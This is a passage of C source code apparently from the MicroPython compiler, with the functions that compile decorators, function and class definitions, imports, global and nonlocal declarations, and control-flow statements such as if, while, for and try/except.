= orig_num_dict_params;\n    comp->num_default_params = orig_num_default_params;\n}\n\n// leaves function object on stack\n// returns function name\nSTATIC qstr compile_funcdef_helper(compiler_t *comp, const byte *p, uint emit_options) {\n    mp_int_t scope_idx;\n    p = pt_get_small_int(p, &scope_idx);\n\n    if (comp->pass == MP_PASS_SCOPE) {\n        // create a new scope for this function\n        scope_new_and_link(comp, scope_idx, SCOPE_FUNCTION, p, emit_options);\n    }\n\n    p = pt_next(p); // skip function name\n\n    // get the scope for this function\n    scope_t *fscope = comp->scopes[scope_idx];\n\n    // compile the function definition\n    compile_funcdef_lambdef(comp, fscope, p, PN_typedargslist);\n\n    // return its name (the 'f' in \"def f(...):\")\n    return fscope->simple_name;\n}\n\n// leaves class object on stack\n// returns class name\nSTATIC qstr compile_classdef_helper(compiler_t *comp, const byte *p, uint emit_options) {\n    mp_int_t scope_idx;\n    p = pt_get_small_int(p, &scope_idx);\n\n    if (comp->pass == MP_PASS_SCOPE) {\n        // create a new scope for this class\n        scope_new_and_link(comp, scope_idx, SCOPE_CLASS, p, emit_options);\n    }\n\n    EMIT(load_build_class);\n\n    // scope for this class\n    scope_t *cscope = comp->scopes[scope_idx];\n\n    // compile the class\n    close_over_variables_etc(comp, cscope, 0, 0);\n\n    // get its name\n    EMIT_ARG(load_const_str, cscope->simple_name);\n\n    // second node has parent classes, if any\n    // empty parenthesis (eg class C():) gets here as an empty PN_classdef_2 and needs special handling\n    const byte *p_parents = pt_next(p);\n    if (pt_is_rule(p_parents, PN_classdef_2)) {\n        p_parents = NULL;\n    }\n    compile_trailer_paren_helper(comp, p_parents, false, 2);\n\n    // return its name (the 'C' in class C(...):\")\n    return cscope->simple_name;\n}\n\n// returns true if it was a built-in decorator (even if the built-in had an error)\nSTATIC bool compile_built_in_decorator(compiler_t *comp, const byte *p, const byte *ptop, uint *emit_options) {\n    qstr qst;\n    p = pt_extract_id(p, &qst);\n    if (qst != MP_QSTR_micropython) {\n        return false;\n    }\n\n    if (p >= ptop || pt_next(p) != ptop) {\n        compile_syntax_error(comp, NULL, \"invalid micropython decorator\");\n        return true;\n    }\n\n    qstr attr;\n    p = pt_extract_id(p, &attr);\n    if (attr == MP_QSTR_bytecode) {\n        *emit_options = MP_EMIT_OPT_BYTECODE;\n#if MICROPY_EMIT_NATIVE\n    } else if (attr == MP_QSTR_native) {\n        *emit_options = MP_EMIT_OPT_NATIVE_PYTHON;\n    } else if (attr == MP_QSTR_viper) {\n        *emit_options = MP_EMIT_OPT_VIPER;\n#endif\n    #if MICROPY_EMIT_INLINE_ASM\n    } else if (attr == ASM_DECORATOR_QSTR) {\n        *emit_options = MP_EMIT_OPT_ASM;\n    #endif\n    } else {\n        compile_syntax_error(comp, NULL, \"invalid micropython decorator\");\n    }\n\n    return true;\n}\n\nSTATIC void compile_decorated(compiler_t *comp, const byte *p, const byte *ptop) {\n    // get the list of decorators\n    ptop = mp_parse_node_extract_list(&p, PN_decorators);\n\n    // inherit emit options for this function/class definition\n    uint emit_options = comp->scope_cur->emit_options;\n\n    // compile each decorator\n    int num_non_built_in_decorators = 0;\n    while (p != ptop) {\n        assert(pt_is_rule(p, PN_decorator)); // should be\n\n        const byte *ptop_decorator;\n        p = pt_rule_extract_top(p, &ptop_decorator);\n\n        // first node contains the decorator function, which is a dotted name\n        const byte *ptop_dotted_name = mp_parse_node_extract_list(&p, PN_dotted_name);\n\n        // check for built-in decorators\n        if (compile_built_in_decorator(comp, p, ptop_dotted_name, &emit_options)) {\n            // this was a built-in\n\n        } else {\n            // not a built-in, compile normally\n\n            num_non_built_in_decorators += 1;\n\n            // compile the decorator function\n            p = compile_node(comp, p);\n            while (p != ptop_dotted_name) {\n                assert(pt_is_any_id(p)); // should be\n                qstr qst;\n                p = pt_extract_id(p, &qst);\n                EMIT_ARG(load_attr, qst);\n            }\n\n            // nodes[1] contains arguments to the decorator function, if any\n            if (!pt_is_null_with_top(p, ptop_decorator)) {\n                // call the decorator function with the arguments in nodes[1]\n                compile_node(comp, p);\n            }\n        }\n\n        p = ptop_decorator;\n    }\n\n    // compile the body (funcdef or classdef) and get its name\n    qstr body_name = 0;\n    p = pt_rule_first(ptop); // skip the rule header\n    if (pt_is_rule(ptop, PN_funcdef)) {\n        body_name = compile_funcdef_helper(comp, p, emit_options);\n    } else {\n        assert(pt_is_rule(ptop, PN_classdef)); // should be\n        body_name = compile_classdef_helper(comp, p, emit_options);\n    }\n\n    // call each decorator\n    while (num_non_built_in_decorators-- > 0) {\n        EMIT_ARG(call_function, 1, 0, 0);\n    }\n\n    // store func/class object into name\n    compile_store_id(comp, body_name);\n}\n\nSTATIC void compile_funcdef(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    qstr fname = compile_funcdef_helper(comp, p, comp->scope_cur->emit_options);\n    // store function object into function name\n    compile_store_id(comp, fname);\n}\n\nSTATIC void c_del_stmt(compiler_t *comp, const byte *p) {\n    if (pt_is_any_id(p)) {\n        qstr id;\n        pt_extract_id(p, &id);\n        compile_delete_id(comp, id);\n    } else if (pt_is_rule(p, PN_atom_expr_normal)) {\n        const byte *ptop;\n        const byte *p0 = pt_rule_extract_top(p, &ptop);\n\n        const byte *p1 = compile_node(comp, p0); // base of the power node\n\n        if (pt_is_rule(p1, PN_atom_expr_trailers)) {\n            const byte *p1top;\n            p1 = pt_rule_extract_top(p1, &p1top);\n            for (;;) {\n                const byte *p1next = pt_next(p1);\n                if (p1next == p1top) {\n                    break;\n                }\n                compile_node(comp, p1);\n                p1 = p1next;\n            }\n            // p1 now points to final trailer for delete\n        }\n\n        const byte *p2;\n        if (pt_is_rule(p1, PN_trailer_bracket)) {\n            p2 = compile_node(comp, pt_rule_first(p1));\n            EMIT(delete_subscr);\n        } else if (pt_is_rule(p1, PN_trailer_period)) {\n            qstr id;\n            p2 = pt_extract_id(pt_rule_first(p1), &id);\n            EMIT_ARG(delete_attr, id);\n        } else {\n            goto cannot_delete;\n        }\n\n        if (!pt_is_null_with_top(p2, ptop)) {\n            goto cannot_delete;\n        }\n    } else if (pt_is_rule(p, PN_atom_paren)) {\n        if (pt_is_rule_empty(p)) {\n            goto cannot_delete;\n        } else {\n            p = pt_rule_first(p);\n            assert(pt_is_rule(p, PN_testlist_comp));\n            // TODO perhaps factorise testlist_comp code with other uses of PN_testlist_comp\n            // or, simplify the logic here my making the parser simplify everything to a list\n            const byte *p0 = pt_rule_first(p);\n            c_del_stmt(comp, p0);\n\n            const byte *p1 = pt_next(p0);\n            if (pt_is_rule(p1, PN_testlist_comp_3b)) {\n                // sequence of one item, with trailing comma\n                assert(pt_is_rule_empty(p1));\n            } else if (pt_is_rule(p1, PN_testlist_comp_3c)) {\n                // sequence of many items\n                const byte *ptop;\n                p1 = pt_rule_extract_top(p1, &ptop);\n                while (p1 != ptop) {\n                    c_del_stmt(comp, p1);\n                    p1 = pt_next(p1);\n                }\n            } else if (pt_is_rule(p1, PN_comp_for)) {\n                goto cannot_delete;\n            } else {\n                // sequence with 2 items\n                c_del_stmt(comp, p1);\n            }\n        }\n    } else {\n        // some arbitrary statment that we can't delete (eg del 1)\n        goto cannot_delete;\n    }\n\n    return;\n\ncannot_delete:\n    compile_syntax_error(comp, p, \"can't delete expression\");\n}\n\nSTATIC void compile_del_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    apply_to_single_or_list(comp, p, PN_exprlist, c_del_stmt);\n}\n\nSTATIC void compile_break_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    if (comp->break_label == INVALID_LABEL) {\n        compile_syntax_error(comp, p, \"'break' outside loop\");\n    }\n    assert(comp->cur_except_level >= comp->break_continue_except_level);\n    EMIT_ARG(break_loop, comp->break_label, comp->cur_except_level - comp->break_continue_except_level);\n}\n\nSTATIC void compile_continue_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    if (comp->continue_label == INVALID_LABEL) {\n        compile_syntax_error(comp, p, \"'continue' outside loop\");\n    }\n    assert(comp->cur_except_level >= comp->break_continue_except_level);\n    EMIT_ARG(continue_loop, comp->continue_label, comp->cur_except_level - comp->break_continue_except_level);\n}\n\nSTATIC void compile_return_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (comp->scope_cur->kind != SCOPE_FUNCTION) {\n        compile_syntax_error(comp, NULL, \"'return' outside function\");\n        return;\n    }\n    if (pt_is_null_with_top(p, ptop)) {\n        // no argument to 'return', so return None\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n    #if 0\n    // TODO do we need this optimisation?  i guess it's hardly used\n    } else if (pt_is_rule(p, PN_test_if_expr)) {\n        // special case when returning an if-expression; to match CPython optimisation\n        mp_parse_node_struct_t *pns_test_if_expr = (mp_parse_node_struct_t*)pns->nodes[0];\n        mp_parse_node_struct_t *pns_test_if_else = (mp_parse_node_struct_t*)pns_test_if_expr->nodes[1];\n\n        uint l_fail = comp_next_label(comp);\n        c_if_cond(comp, pns_test_if_else->nodes[0], false, l_fail); // condition\n        compile_node(comp, pns_test_if_expr->nodes[0]); // success value\n        EMIT(return_value);\n        EMIT_ARG(label_assign, l_fail);\n        compile_node(comp, pns_test_if_else->nodes[1]); // failure value\n    #endif\n    } else {\n        compile_node(comp, p);\n    }\n    EMIT(return_value);\n}\n\nSTATIC void compile_yield_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    compile_node(comp, p);\n    EMIT(pop_top);\n}\n\nSTATIC void compile_raise_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (pt_is_null_with_top(p, ptop)) {\n        // raise\n        EMIT_ARG(raise_varargs, 0);\n    } else if (pt_is_rule(p, PN_raise_stmt_arg)) {\n        // raise x from y\n        p = pt_rule_first(p);\n        p = compile_node(comp, p);\n        compile_node(comp, p);\n        EMIT_ARG(raise_varargs, 2);\n    } else {\n        // raise x\n        compile_node(comp, p);\n        EMIT_ARG(raise_varargs, 1);\n    }\n}\n\n// q_base holds the base of the name\n// eg   a -> q_base=a\n//      a.b.c -> q_base=a\nSTATIC void do_import_name(compiler_t *comp, const byte *p, qstr *q_base) {\n    bool is_as = false;\n    if (p != NULL && pt_is_rule(p, PN_dotted_as_name)) {\n        // a name of the form x as y; unwrap it\n        p = pt_rule_first(p); // point to 'x'\n        pt_extract_id(pt_next(p), q_base); // extract 'y'\n        is_as = true;\n    }\n    if (p == NULL || pt_is_null(p)) {\n        // empty name (eg, from . import x)\n        *q_base = MP_QSTR_;\n        EMIT_ARG(import_name, MP_QSTR_); // import the empty string\n    } else if (pt_is_any_id(p)) {\n        // just a simple name\n        qstr q_full;\n        pt_extract_id(p, &q_full);\n        if (!is_as) {\n            *q_base = q_full;\n        }\n        EMIT_ARG(import_name, q_full);\n    } else {\n        // a name of the form a.b.c\n        assert(pt_is_rule(p, PN_dotted_name)); // should be\n        const byte *ptop;\n        p = pt_rule_extract_top(p, &ptop);\n\n        if (!is_as) {\n            pt_extract_id(p, q_base);\n        }\n\n        // work out string length\n        int len = -1;\n        for (const byte *p2 = p; p2 != ptop;) {\n            qstr qst;\n            p2 = pt_extract_id(p2, &qst);\n            len += 1 + qstr_len(qst);\n        }\n\n        // build string\n        byte *q_ptr;\n        byte *str_dest = qstr_build_start(len, &q_ptr);\n        for (const byte *p2 = p; p2 != ptop;) {\n            if (p2 > p) {\n                *str_dest++ = '.';\n            }\n            qstr qst;\n            p2 = pt_extract_id(p2, &qst);\n            size_t str_src_len;\n            const byte *str_src = qstr_data(qst, &str_src_len);\n            memcpy(str_dest, str_src, str_src_len);\n            str_dest += str_src_len;\n        }\n        qstr q_full = qstr_build_end(q_ptr);\n        EMIT_ARG(import_name, q_full);\n        if (is_as) {\n            for (const byte *p2 = pt_next(p); p2 != ptop;) {\n                qstr qst;\n                p2 = pt_extract_id(p2, &qst);\n                EMIT_ARG(load_attr, qst);\n            }\n        }\n    }\n}\n\nSTATIC void compile_dotted_as_name(compiler_t *comp, const byte *p) {\n    EMIT_ARG(load_const_small_int, 0); // level 0 import\n    EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); // not importing from anything\n    qstr q_base;\n    do_import_name(comp, p, &q_base);\n    compile_store_id(comp, q_base);\n}\n\nSTATIC void compile_import_name(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    apply_to_single_or_list(comp, p, PN_dotted_as_names, compile_dotted_as_name);\n}\n\nSTATIC void compile_import_from(compiler_t *comp, const byte *p, const byte *ptop) {\n    const byte *p_import_source = p;\n\n    // extract the preceeding .'s (if any) for a relative import, to compute the import level\n    uint import_level = 0;\n    do {\n        const byte *p_rel;\n        if (pt_is_any_tok(p_import_source) || pt_is_rule(p_import_source, PN_one_or_more_period_or_ellipsis)) {\n            // This covers relative imports with dots only like \"from .. import\"\n            p_rel = p_import_source;\n            p_import_source = NULL;\n        } else if (pt_is_rule(p_import_source, PN_import_from_2b)) {\n            // This covers relative imports starting with dot(s) like \"from .foo import\"\n            p_rel = pt_rule_first(p_import_source);\n            p_import_source = pt_next(p_rel);\n        } else {\n            // Not a relative import\n            break;\n        }\n\n        // get the list of . and/or ...'s\n        const byte *p_rel_top = mp_parse_node_extract_list(&p_rel, PN_one_or_more_period_or_ellipsis);\n\n        // count the total number of .'s\n        while (p_rel != p_rel_top) {\n            if (pt_is_tok(p_rel, MP_TOKEN_DEL_PERIOD)) {\n                import_level++;\n            } else {\n                // should be an MP_TOKEN_ELLIPSIS\n                import_level += 3;\n            }\n            p_rel = pt_next(p_rel);\n        }\n    } while (0);\n\n    p = pt_next(p);\n\n    if (pt_is_tok(p, MP_TOKEN_OP_STAR)) {\n        EMIT_ARG(load_const_small_int, import_level);\n\n        // build the \"fromlist\" tuple\n        EMIT_ARG(load_const_str, MP_QSTR__star_);\n        EMIT_ARG(build_tuple, 1);\n\n        // do the import\n        qstr dummy_q;\n        do_import_name(comp, p_import_source, &dummy_q);\n        EMIT(import_star);\n\n    } else {\n        EMIT_ARG(load_const_small_int, import_level);\n\n        // build the \"fromlist\" tuple\n        ptop = mp_parse_node_extract_list(&p, PN_import_as_names);\n        uint n = 0;\n        for (const byte *p_list = p; p_list < ptop; p_list = pt_next(p_list), ++n) {\n            assert(pt_is_rule(p_list, PN_import_as_name));\n            qstr id2;\n            pt_extract_id(pt_rule_first(p_list), &id2);\n            EMIT_ARG(load_const_str, id2);\n        }\n        EMIT_ARG(build_tuple, n);\n\n        // do the import\n        qstr dummy_q;\n        do_import_name(comp, p_import_source, &dummy_q);\n        for (const byte *p_list = p; p_list < ptop;) {\n            assert(pt_is_rule(p_list, PN_import_as_name));\n            const byte *p_list_top;\n            p_list = pt_rule_extract_top(p_list, &p_list_top);\n            qstr id2;\n            p_list = pt_extract_id(p_list, &id2);\n            EMIT_ARG(import_from, id2);\n            if (p_list == p_list_top) {\n                compile_store_id(comp, id2);\n            } else {\n                qstr id3;\n                p_list = pt_extract_id(p_list, &id3);\n                compile_store_id(comp, id3);\n            }\n        }\n        EMIT(pop_top);\n    }\n}\n\nSTATIC void compile_declare_global(compiler_t *comp, const byte *p_for_err, qstr qst) {\n    bool added;\n    id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qst, &added);\n    if (!added && id_info->kind != ID_INFO_KIND_GLOBAL_EXPLICIT) {\n        compile_syntax_error(comp, p_for_err, \"identifier redefined as global\");\n        return;\n    }\n    id_info->kind = ID_INFO_KIND_GLOBAL_EXPLICIT;\n\n    // if the id exists in the global scope, set its kind to EXPLICIT_GLOBAL\n    id_info = scope_find_global(comp->scope_cur, qst);\n    if (id_info != NULL) {\n        id_info->kind = ID_INFO_KIND_GLOBAL_EXPLICIT;\n    }\n}\n\nSTATIC void compile_global_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        const byte *p_orig = p;\n        ptop = mp_parse_node_extract_list(&p, PN_name_list);\n        while (p != ptop) {\n            qstr qst;\n            p = pt_extract_id(p, &qst);\n            compile_declare_global(comp, p_orig, qst);\n        }\n    }\n}\n\nSTATIC void compile_declare_nonlocal(compiler_t *comp, const byte *p_for_err, qstr qst) {\n    bool added;\n    id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qst, &added);\n    if (added) {\n        scope_find_local_and_close_over(comp->scope_cur, id_info, qst);\n        if (id_info->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) {\n            compile_syntax_error(comp, p_for_err, \"no binding for nonlocal found\");\n        }\n    } else if (id_info->kind != ID_INFO_KIND_FREE) {\n        compile_syntax_error(comp, p_for_err, \"identifier redefined as nonlocal\");\n    }\n}\n\nSTATIC void compile_nonlocal_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        if (comp->scope_cur->kind == SCOPE_MODULE) {\n            compile_syntax_error(comp, p, \"can't declare nonlocal in outer code\");\n            return;\n        }\n        const byte *p_orig = p;\n        ptop = mp_parse_node_extract_list(&p, PN_name_list);\n        while (p != ptop) {\n            qstr qst;\n            p = pt_extract_id(p, &qst);\n            compile_declare_nonlocal(comp, p_orig, qst);\n        }\n    }\n}\n\nSTATIC void compile_assert_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    // with optimisations enabled we don't compile assertions\n    if (MP_STATE_VM(mp_optimise_value) != 0) {\n        return;\n    }\n\n    uint l_end = comp_next_label(comp);\n    p = c_if_cond(comp, p, true, l_end);\n    EMIT_LOAD_GLOBAL(MP_QSTR_AssertionError); // we load_global instead of load_id, to be consistent with CPython\n    if (!pt_is_null_with_top(p, ptop)) {\n        // assertion message\n        compile_node(comp, p);\n        EMIT_ARG(call_function, 1, 0, 0);\n    }\n    EMIT_ARG(raise_varargs, 1);\n    EMIT_ARG(label_assign, l_end);\n}\n\nSTATIC void compile_if_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    // TODO proper and/or short circuiting\n\n    uint l_end = comp_next_label(comp);\n\n    // optimisation: don't emit anything when \"if False\"\n    if (node_is_const_false(p)) {\n        p = pt_next(p); // skip if condition\n        p = pt_next(p); // skip if block\n    } else {\n        uint l_fail = comp_next_label(comp);\n        bool if_true = node_is_const_true(p);\n        p = c_if_cond(comp, p, false, l_fail); // if condition\n\n        p = compile_node(comp, p); // if block\n\n        // optimisation: skip everything else when \"if True\"\n        if (if_true) {\n            goto done;\n        }\n\n        if (\n            // optimisation: don't jump over non-existent elif/else blocks\n            !(pt_is_null_with_top(p, ptop) && pt_is_null_with_top(pt_next(p), ptop))\n            // optimisation: don't jump if last instruction was return\n            && !EMIT(last_emit_was_return_value)\n            ) {\n            // jump over elif/else blocks\n            EMIT_ARG(jump, l_end);\n        }\n\n        EMIT_ARG(label_assign, l_fail);\n    }\n\n    // at this point p points to elif node (which may not exist)\n\n    // compile elif blocks (if any)\n    if (p != ptop) {\n        const byte *p_else_top = mp_parse_node_extract_list(&p, PN_if_stmt_elif_list);\n        while (p != p_else_top) {\n            assert(pt_is_rule(p, PN_if_stmt_elif)); // should be\n            p = pt_rule_first(p);\n\n            // optimisation: don't emit anything when \"if False\"\n            if (node_is_const_false(p)) {\n                p = pt_next(p); // skip elif condition\n                p = pt_next(p); // skip elif block\n            } else {\n                uint l_fail = comp_next_label(comp);\n                bool elif_true = node_is_const_true(p);\n                p = c_if_cond(comp, p, false, l_fail); // elif condition\n\n                p = compile_node(comp, p); // elif block\n\n                // optimisation: skip everything else when \"elif True\"\n                if (elif_true) {\n                    goto done;\n                }\n\n                // optimisation: don't jump if last instruction was return\n                if (!EMIT(last_emit_was_return_value)) {\n                    EMIT_ARG(jump, l_end);\n                }\n                EMIT_ARG(label_assign, l_fail);\n            }\n        }\n\n        // compile else block (if any)\n        if (p != ptop) {\n            compile_node(comp, p);\n        }\n    }\n\ndone:\n    EMIT_ARG(label_assign, l_end);\n}\n\n#define START_BREAK_CONTINUE_BLOCK \\\n    uint16_t old_break_label = comp->break_label; \\\n    uint16_t old_continue_label = comp->continue_label; \\\n    uint16_t old_break_continue_except_level = comp->break_continue_except_level; \\\n    uint break_label = comp_next_label(comp); \\\n    uint continue_label = comp_next_label(comp); \\\n    comp->break_label = break_label; \\\n    comp->continue_label = continue_label; \\\n    comp->break_continue_except_level = comp->cur_except_level;\n\n#define END_BREAK_CONTINUE_BLOCK \\\n    comp->break_label = old_break_label; \\\n    comp->continue_label = old_continue_label; \\\n    comp->break_continue_except_level = old_break_continue_except_level;\n\nSTATIC void compile_while_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    START_BREAK_CONTINUE_BLOCK\n\n    const byte *p_body = pt_next(p);\n    const byte *p_else = pt_next(p_body);\n\n    if (!node_is_const_false(p)) { // optimisation: don't emit anything for \"while False\"\n        uint top_label = comp_next_label(comp);\n        if (!node_is_const_true(p)) { // optimisation: don't jump to cond for \"while True\"\n            EMIT_ARG(jump, continue_label);\n        }\n        EMIT_ARG(label_assign, top_label);\n        compile_node(comp, p_body); // body\n        EMIT_ARG(label_assign, continue_label);\n        c_if_cond(comp, p, true, top_label); // condition\n    }\n\n    // break/continue apply to outer loop (if any) in the else block\n    END_BREAK_CONTINUE_BLOCK\n\n    if (p_else != ptop) {\n        compile_node(comp, p_else); // else\n    }\n\n    EMIT_ARG(label_assign, break_label);\n}\n\n// This function compiles an optimised for-loop of the form:\n//      for <var> in range(<start>, <end>, <step>):\n//          <body>\n//      else:\n//          <else>\n// <var> must be an identifier and <step> must be a small-int.\n//\n// Semantics of for-loop require:\n//  - final failing value should not be stored in the loop variable\n//  - if the loop never runs, the loop variable should never be assigned\n//  - assignments to <var>, <end> or <step> in the body do not alter the loop\n//    (<step> is a constant for us, so no need to worry about it changing)\n//\n// If <end> is a small-int, then the stack during the for-loop contains just\n// the current value of <var>.  Otherwise, the stack contains <end> then the\n// current value of <var>.\nSTATIC void compile_for_stmt_optimised_range(compiler_t *comp, const byte *pn_var,\n    const byte *pn_start, const byte *pn_end, mp_int_t step,\n    const byte *pn_body, const byte *pn_else) {\n\n    START_BREAK_CONTINUE_BLOCK\n\n    uint top_label = comp_next_label(comp);\n    uint entry_label = comp_next_label(comp);\n\n    // put the end value on the stack if it's not a small-int constant\n    bool end_on_stack = !pt_is_small_int(pn_end);\n    if (end_on_stack) {\n        compile_node(comp, pn_end);\n    }\n\n    // compile: start\n    compile_node(comp, pn_start);\n\n    EMIT_ARG(jump, entry_label);\n    EMIT_ARG(label_assign, top_label);\n\n    // duplicate next value and store it to var\n    EMIT(dup_top);\n    c_assign(comp, pn_var, ASSIGN_STORE);\n\n    // compile body\n    compile_node(comp, pn_body);\n\n    EMIT_ARG(label_assign, continue_label);\n\n    // compile: var + step\n    EMIT_ARG(load_const_small_int, step);\n    EMIT_ARG(binary_op, MP_BINARY_OP_INPLACE_ADD);\n\n    EMIT_ARG(label_assign, entry_label);\n\n    // compile: if var <cond> end: goto top\n    if (end_on_stack) {\n        EMIT(dup_top_two);\n        EMIT(rot_two);\n    } else {\n        EMIT(dup_top);\n        compile_node(comp, pn_end);\n    }\n    if (step >= 0) {\n        EMIT_ARG(binary_op, MP_BINARY_OP_LESS);\n    } else {\n        EMIT_ARG(binary_op, MP_BINARY_OP_MORE);\n    }\n    EMIT_ARG(pop_jump_if, true, top_label);\n\n    // break/continue apply to outer loop (if any) in the else block\n    END_BREAK_CONTINUE_BLOCK\n\n    // Compile the else block.  We must pop the iterator variables before\n    // executing the else code because it may contain break/continue statements.\n    uint end_label = 0;\n    if (pn_else != NULL) {\n        // discard final value of \"var\", and possible \"end\" value\n        EMIT(pop_top);\n        if (end_on_stack) {\n            EMIT(pop_top);\n        }\n        compile_node(comp, pn_else);\n        end_label = comp_next_label(comp);\n        EMIT_ARG(jump, end_label);\n        EMIT_ARG(adjust_stack_size, 1 + end_on_stack);\n    }\n\n    EMIT_ARG(label_assign, break_label);\n\n    // discard final value of var that failed the loop condition\n    EMIT(pop_top);\n\n    // discard <end> value if it's on the stack\n    if (end_on_stack) {\n        EMIT(pop_top);\n    }\n\n    if (pn_else != NULL) {\n        EMIT_ARG(label_assign, end_label);\n    }\n}\n\nSTATIC void compile_for_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    // this bit optimises: for <x> in range(...), turning it into an explicitly incremented variable\n    // this is actually slower, but uses no heap memory\n    // for viper it will be much, much faster\n    if (/*comp->scope_cur->emit_options == MP_EMIT_OPT_VIPER &&*/ pt_is_any_id(p)\n        && pt_is_rule(pt_next(p), PN_atom_expr_normal)) {\n        const byte *p_it_top;\n        const byte *p_it0 = pt_rule_extract_top(pt_next(p), &p_it_top);\n        if (!pt_is_id(p_it0, MP_QSTR_range)) {\n            goto optimise_fail;\n        }\n        const byte *p_it1 = pt_next(p_it0);\n        if (pt_is_rule(p_it1, PN_trailer_paren)\n            && !pt_is_rule_empty(p_it1)\n            && pt_next(p_it1) == p_it_top) {\n            // iterator is of the form range(...) with at least 1 arg\n            const byte *p_range_args = pt_rule_first(p_it1);\n            const byte *p_range_args_top = mp_parse_node_extract_list(&p_range_args, PN_arglist);\n            const byte *p_start = pt_const_int0;\n            const byte *p_end = p_range_args;\n            mp_int_t step = 1;\n            p_range_args = pt_next(p_range_args);\n            if (p_range_args != p_range_args_top) {\n                // range has at least 2 args\n                p_start = p_end;\n                p_end = p_range_args;\n                p_range_args = pt_next(p_range_args);\n                if (p_range_args != p_range_args_top) {\n                    // range has at least 3 args\n                    // We need to know sign of step. This is possible only if it's constant\n                    if (!pt_is_small_int(p_range_args)) {\n                        goto optimise_fail;\n                    }\n                    p_range_args = pt_get_small_int(p_range_args, &step);\n                    // the step must be non-zero\n                    if (step == 0) {\n                        goto optimise_fail;\n                    }\n                    if (p_range_args != p_range_args_top) {\n                        // range has at least 4 args, so don't know how to optimise it\n                        goto optimise_fail;\n                    }\n                }\n            }\n            // arguments must be able to be compiled as standard expressions\n            if (pt_is_any_rule(p_start)) {\n                int k = pt_rule_extract_rule_id(p_start);\n                if (k == PN_arglist_star || k == PN_arglist_dbl_star || k == PN_argument) {\n                    goto optimise_fail;\n                }\n            }\n            if (pt_is_any_rule(p_end)) {\n                int k = pt_rule_extract_rule_id(p_end);\n                if (k == PN_arglist_star || k == PN_arglist_dbl_star || k == PN_argument) {\n                    goto optimise_fail;\n                }\n            }\n            // can optimise\n            const byte *p_body = p_it_top;\n            const byte *p_else = pt_next(p_body);\n            if (p_else == ptop) {\n                p_else = NULL;\n            }\n            compile_for_stmt_optimised_range(comp, p, p_start, p_end, step, p_body, p_else);\n            return;\n        }\n    }\noptimise_fail:;\n\n    START_BREAK_CONTINUE_BLOCK\n    comp->break_label |= MP_EMIT_BREAK_FROM_FOR;\n\n    uint pop_label = comp_next_label(comp);\n\n    const byte *p_it = pt_next(p);\n    const byte *p_body = compile_node(comp, p_it); // iterator\n    EMIT_ARG(get_iter, true);\n    EMIT_ARG(label_assign, continue_label);\n    EMIT_ARG(for_iter, pop_label);\n    c_assign(comp, p, ASSIGN_STORE); // variable\n    const byte *p_else = compile_node(comp, p_body); // body\n    if (!EMIT(last_emit_was_return_value)) {\n        EMIT_ARG(jump, continue_label);\n    }\n    EMIT_ARG(label_assign, pop_label);\n    EMIT(for_iter_end);\n\n    // break/continue apply to outer loop (if any) in the else block\n    END_BREAK_CONTINUE_BLOCK\n\n    if (p_else != ptop) {\n        compile_node(comp, p_else); // else\n    }\n\n    EMIT_ARG(label_assign, break_label);\n}\n\nSTATIC void compile_try_except(compiler_t *comp, const byte *p_body, const byte *p_except, const byte *p_except_top, const byte *p_else) {\n    // setup code\n    uint l1 = comp_next_label(comp);\n    uint success_label = comp_next_label(comp);\n\n    EMIT_ARG(setup_except, l1);\n    compile_increase_except_level(comp);\n\n    compile_node(comp, p_body); // body\n    EMIT(pop_block);\n    EMIT_ARG(jump, success_label); // jump over exception handler\n\n    EMIT_ARG(label_assign, l1); // start of exception handler\n    EMIT(start_except_handler);\n\n    // at this point the top of the stack contains the exception instance that was raised\n\n    uint l2 = comp_next_label(comp);\n\n    while (p_except != p_except_top) {\n        assert(pt_is_rule(p_except, PN_try_stmt_except)); // should be\n        p_except = pt_rule_first(p_except);\n\n        qstr qstr_exception_local = 0;\n        uint end_finally_label = comp_next_label(comp);\n\n        if (pt_is_null(p_except)) {\n            // this is a catch all exception handler\n            if (pt_next(pt_next(p_except)) != p_except_top) {\n                compile_syntax_error(comp, p_except, \"default 'except:' must be last\");\n                compile_decrease_except_level(comp);\n                return;\n            }\n        } else {\n            // this exception handler requires a match to a certain type of exception\n            const byte *p_exception_expr = p_except;\n            if (pt_is_rule(p_exception_expr, PN_try_stmt_as_name)) {\n                // handler binds the exception to a local\n                p_exception_expr = pt_rule_first(p_exception_expr);\n                pt_extract_id(pt_next(p_exception_expr), &qstr_exception_local);\n            }\n            EMIT(dup_top);\n            compile_node(comp, p_exception_expr);\n            EMIT_ARG(binary_op, MP_BINARY_OP_EXCEPTION_MATCH);\n            EMIT_ARG(pop_jump_if, false, end_finally_label);\n        }\n\n        p_except = pt_next(p_except);\n\n        // either discard or store the exception instance\n        if (qstr_exception_local == 0) {\n            EMIT(pop_top);\n        } else {\n            compile_store_id(comp, qstr_exception_local);\n        }\n\n        uint l3 = 0;\n        if (qstr_exception_local != 0) {\n            l3 = comp_next_label(comp);\n            EMIT_ARG(setup_finally, l3);\n            compile_increase_except_level(comp);\n        }\n        p_except = compile_node(comp, p_except);\n        if (qstr_exception_local != 0) {\n            EMIT(pop_block);\n        }\n        EMIT(pop_except);\n        if (qstr_exception_local != 0) {\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n            EMIT_ARG(label_assign, l3);\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n            